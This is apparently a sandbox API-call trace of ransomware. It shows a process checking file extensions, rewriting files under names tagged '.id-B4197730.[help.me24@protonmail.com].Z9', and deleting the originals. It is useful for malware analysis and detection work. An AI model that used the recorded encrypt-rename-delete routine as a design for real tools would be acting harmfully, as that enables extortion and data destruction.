	[0071.178] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0071.178] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0071.178] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0071.178] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0071.409] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=81482) returned 1
	[0071.409] CloseHandle (hObject=0x32c) returned 1
	[0071.410] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 0x80
	[0071.410] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.275] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0072.275] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.275] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.275] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0072.291] GetLastError () returned 0x0
	[0072.291] ReadFile (in: hFile=0x36c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x13e4a, lpOverlapped=0x0) returned 1
	[0072.310] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x13e50, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x13e50, lpOverlapped=0x0) returned 1
	[0072.312] ReadFile (in: hFile=0x36c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.312] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0072.312] SetEndOfFile (hFile=0x2bc) returned 1
	[0072.313] CloseHandle (hObject=0x2bc) returned 1
	[0072.315] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.315] SetEndOfFile (hFile=0x36c) returned 1
	[0072.317] CloseHandle (hObject=0x36c) returned 1
	[0072.317] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.317] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 1
	[0072.317] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0072.317] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0072.317] lstrlenW (lpString=".doc") returned 4
	[0072.317] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0072.317] lstrlenW (lpString=".docx") returned 5
	[0072.318] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0072.318] lstrlenW (lpString=".pdf") returned 4
	[0072.318] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0072.318] lstrlenW (lpString=".xls") returned 4
	[0072.318] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0072.318] lstrlenW (lpString=".xlsx") returned 5
	[0072.318] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0072.318] lstrlenW (lpString=".ppt") returned 4
	[0072.318] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0072.318] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0072.318] lstrlenW (lpString=".zip") returned 4
	[0072.318] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0072.318] lstrlenW (lpString=".rar") returned 4
	[0072.318] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0072.318] lstrlenW (lpString=".bz2") returned 4
	[0072.318] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0072.318] lstrlenW (lpString=".7z") returned 3
	[0072.318] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0072.318] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0072.318] lstrlenW (lpString=".dbf") returned 4
	[0072.318] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0072.318] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0072.318] lstrlenW (lpString=".1cd") returned 4
	[0072.318] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0072.318] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0072.318] lstrlenW (lpString=".jpg") returned 4
	[0072.318] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0072.318] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0072.318] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0072.318] lstrlenW (lpString=".doc") returned 4
	[0072.318] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0072.318] lstrlenW (lpString=".docx") returned 5
	[0072.318] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0072.319] lstrlenW (lpString=".pdf") returned 4
	[0072.319] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0072.319] lstrlenW (lpString=".xls") returned 4
	[0072.319] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0072.319] lstrlenW (lpString=".xlsx") returned 5
	[0072.319] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0072.319] lstrlenW (lpString=".ppt") returned 4
	[0072.319] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0072.319] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0072.319] lstrlenW (lpString=".zip") returned 4
	[0072.319] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0072.319] lstrlenW (lpString=".rar") returned 4
	[0072.319] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0072.319] lstrlenW (lpString=".bz2") returned 4
	[0072.319] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0072.319] lstrlenW (lpString=".7z") returned 3
	[0072.319] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0072.319] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0072.319] lstrlenW (lpString=".dbf") returned 4
	[0072.319] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0072.319] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0072.319] lstrlenW (lpString=".1cd") returned 4
	[0072.319] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0072.319] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0072.319] lstrlenW (lpString=".jpg") returned 4
	[0072.319] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0072.319] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0072.319] lstrlenW (lpString="UiInfo.xml") returned 10
	[0072.320] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0072.320] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=39042) returned 1
	[0072.320] CloseHandle (hObject=0x36c) returned 1
	[0072.320] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 0x80
	[0072.321] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.321] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0072.321] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.321] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.321] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0072.323] GetLastError () returned 0x0
	[0072.323] ReadFile (in: hFile=0x36c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x9882, lpOverlapped=0x0) returned 1
	[0072.326] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x9890, lpOverlapped=0x0) returned 1
	[0072.327] ReadFile (in: hFile=0x36c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.327] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xe8, lpOverlapped=0x0) returned 1
	[0072.328] SetEndOfFile (hFile=0x2bc) returned 1
	[0072.328] CloseHandle (hObject=0x2bc) returned 1
	[0072.330] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.330] SetEndOfFile (hFile=0x36c) returned 1
	[0072.331] CloseHandle (hObject=0x36c) returned 1
	[0072.331] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.331] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 1
	[0072.332] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0072.332] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0072.332] lstrlenW (lpString=".doc") returned 4
	[0072.332] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0072.332] lstrlenW (lpString=".docx") returned 5
	[0072.332] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0072.332] lstrlenW (lpString=".pdf") returned 4
	[0072.332] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0072.332] lstrlenW (lpString=".xls") returned 4
	[0072.332] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0072.332] lstrlenW (lpString=".xlsx") returned 5
	[0072.332] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0072.332] lstrlenW (lpString=".ppt") returned 4
	[0072.332] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0072.332] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0072.332] lstrlenW (lpString=".zip") returned 4
	[0072.332] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0072.332] lstrlenW (lpString=".rar") returned 4
	[0072.332] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0072.332] lstrlenW (lpString=".bz2") returned 4
	[0072.332] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0072.332] lstrlenW (lpString=".7z") returned 3
	[0072.332] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0072.332] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0072.333] lstrlenW (lpString=".dbf") returned 4
	[0072.333] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0072.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0072.333] lstrlenW (lpString=".1cd") returned 4
	[0072.333] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0072.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0072.333] lstrlenW (lpString=".jpg") returned 4
	[0072.333] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0072.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0072.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0072.333] lstrlenW (lpString=".doc") returned 4
	[0072.333] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0072.333] lstrlenW (lpString=".docx") returned 5
	[0072.333] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0072.333] lstrlenW (lpString=".pdf") returned 4
	[0072.333] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0072.333] lstrlenW (lpString=".xls") returned 4
	[0072.333] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0072.333] lstrlenW (lpString=".xlsx") returned 5
	[0072.333] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0072.333] lstrlenW (lpString=".ppt") returned 4
	[0072.333] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0072.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0072.333] lstrlenW (lpString=".zip") returned 4
	[0072.333] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0072.333] lstrlenW (lpString=".rar") returned 4
	[0072.333] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0072.333] lstrlenW (lpString=".bz2") returned 4
	[0072.333] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0072.334] lstrlenW (lpString=".7z") returned 3
	[0072.334] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0072.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0072.334] lstrlenW (lpString=".dbf") returned 4
	[0072.334] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0072.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0072.334] lstrlenW (lpString=".1cd") returned 4
	[0072.334] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0072.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0072.334] lstrlenW (lpString=".jpg") returned 4
	[0072.334] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0072.334] lstrcmpiW (lpString1=".html", lpString2=".Z9") returned -1
	[0072.334] lstrlenW (lpString="DHtmlHeader.html") returned 16
	[0072.334] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0072.334] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=16118) returned 1
	[0072.334] CloseHandle (hObject=0x36c) returned 1
	[0072.334] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 0x80
	[0072.334] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.335] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0072.335] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.335] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.335] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0072.335] GetLastError () returned 0x0
	[0072.335] ReadFile (in: hFile=0x36c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x3ef6, lpOverlapped=0x0) returned 1
	[0072.337] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x3f00, lpOverlapped=0x0) returned 1
	[0072.338] ReadFile (in: hFile=0x36c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.338] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xf4, lpOverlapped=0x0) returned 1
	[0072.338] SetEndOfFile (hFile=0x2bc) returned 1
	[0072.339] CloseHandle (hObject=0x2bc) returned 1
	[0072.340] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.340] SetEndOfFile (hFile=0x36c) returned 1
	[0072.340] CloseHandle (hObject=0x36c) returned 1
	[0072.341] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.341] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 1
	[0072.341] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0072.341] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0072.341] lstrlenW (lpString=".doc") returned 4
	[0072.341] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0072.341] lstrlenW (lpString=".docx") returned 5
	[0072.341] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0072.341] lstrlenW (lpString=".pdf") returned 4
	[0072.341] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1
	[0072.341] lstrlenW (lpString=".xls") returned 4
	[0072.341] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1
	[0072.341] lstrlenW (lpString=".xlsx") returned 5
	[0072.341] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1
	[0072.341] lstrlenW (lpString=".ppt") returned 4
	[0072.341] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1
	[0072.341] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0072.341] lstrlenW (lpString=".zip") returned 4
	[0072.342] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1
	[0072.342] lstrlenW (lpString=".rar") returned 4
	[0072.342] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1
	[0072.342] lstrlenW (lpString=".bz2") returned 4
	[0072.342] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0072.342] lstrlenW (lpString=".7z") returned 3
	[0072.342] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0072.342] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0072.342] lstrlenW (lpString=".dbf") returned 4
	[0072.342] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0072.342] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0072.342] lstrlenW (lpString=".1cd") returned 4
	[0072.342] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0072.342] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0072.342] lstrlenW (lpString=".jpg") returned 4
	[0072.342] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1
	[0072.342] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0072.342] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0072.342] lstrlenW (lpString=".doc") returned 4
	[0072.342] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0072.342] lstrlenW (lpString=".docx") returned 5
	[0072.342] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0072.342] lstrlenW (lpString=".pdf") returned 4
	[0072.342] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1
	[0072.342] lstrlenW (lpString=".xls") returned 4
	[0072.342] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1
	[0072.342] lstrlenW (lpString=".xlsx") returned 5
	[0072.342] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1
	[0072.342] lstrlenW (lpString=".ppt") returned 4
	[0072.342] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1
	[0072.342] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0072.342] lstrlenW (lpString=".zip") returned 4
	[0072.343] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1
	[0072.343] lstrlenW (lpString=".rar") returned 4
	[0072.343] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1
	[0072.343] lstrlenW (lpString=".bz2") returned 4
	[0072.343] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0072.343] lstrlenW (lpString=".7z") returned 3
	[0072.343] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0072.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0072.343] lstrlenW (lpString=".dbf") returned 4
	[0072.343] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0072.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0072.343] lstrlenW (lpString=".1cd") returned 4
	[0072.343] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0072.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0072.343] lstrlenW (lpString=".jpg") returned 4
	[0072.343] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1
	[0072.343] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0072.343] lstrlenW (lpString="Parameterinfo.xml") returned 17
	[0072.343] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0072.343] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=93314) returned 1
	[0072.343] CloseHandle (hObject=0x36c) returned 1
	[0072.344] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 0x80
	[0072.344] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.344] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0072.344] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.344] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.344] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0072.832] GetLastError () returned 0x0
